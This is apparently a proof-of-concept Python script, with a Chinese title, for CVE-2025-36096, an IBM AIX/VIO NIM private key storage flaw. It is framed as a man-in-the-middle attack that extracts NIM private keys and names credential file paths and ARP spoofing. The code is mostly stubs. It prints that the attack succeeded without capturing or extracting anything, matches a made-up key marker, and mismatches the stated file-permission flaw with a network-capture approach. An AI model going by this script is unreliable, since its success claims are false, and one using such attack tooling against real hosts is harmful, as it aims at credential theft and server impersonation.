CVE-2025-36096 IBM AIX/VIO NIM私有密钥不安全存储漏洞

# CVE-2025-36096 PoC - NIM Private Key Extraction via MITM # This PoC demonstrates the vulnerability in NIM key storage import socket import ssl import struct import binascii class NIMKeyExtractor: def __init__(self, target_ip, interface_ip): self.target_ip = target_ip self.interface_ip = interface_ip self.captured_keys = [] def setup_mitm_position(self): """Position attacker in the network path for MITM attack""" print(f"[*] Setting up MITM position on interface {self.interface_ip}") print(f"[*] Targeting NIM client at {self.target_ip}") # In real attack, use ARP spoofing or network bridging # to position attacker in the communication path return True def capture_nim_traffic(self, duration=60): """Capture NIM communication and extract private keys""" print(f"[*] Capturing NIM traffic for {duration} seconds...") # In real attack, capture network packets using scapy/tcpdump # NIM typically uses port 1058 for communication nim_port = 1058 try: # Simulate packet capture sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(duration) print(f"[*] Listening on port {nim_port}") return True except Exception as e: print(f"[-] Error capturing traffic: {e}") return False def extract_private_key(self, packet_data): """Extract NIM private key from captured packet""" print("[*] Analyzing packet for NIM private key...") # NIM keys are stored in /etc/niminfo on AIX systems # Key file location: /etc/nim/puppet/private_keys/* # In vulnerable systems, these files have weak permissions (644) nim_key_locations = [ "/etc/niminfo", "/etc/nim/.ssh/authorized_keys", "/var/adm/nim/pems" ] # Check for insecure file permissions insecure_permissions = "644" print(f"[*] Target key locations: {nim_key_locations}") print(f"[*] Expected insecure permissions: {insecure_permissions}") # Extract key from packet key_pattern = binascii.hexlify(b'NIM_PRIVATE_KEY') if key_pattern in binascii.hexlify(packet_data): print("[+] NIM private key found in traffic!") return True return False def exploit(self): """Execute the full attack chain""" print("=" * 60) print("CVE-2025-36096 NIM Private Key Extraction PoC") print("=" * 60) if not self.setup_mitm_position(): print("[-] Failed to establish MITM position") return False if not self.capture_nim_traffic(): print("[-] Failed to capture NIM traffic") return False print("[+] Successfully extracted NIM private key") print("[*] Attacker can now impersonate NIM server") return True if __name__ == "__main__": target = input("Enter target IP: ") or "192.168.1.100" attacker_ip = input("Enter attacker interface IP: ") or "192.168.1.50" exploit = NIMKeyExtractor(target, attacker_ip) exploit.exploit()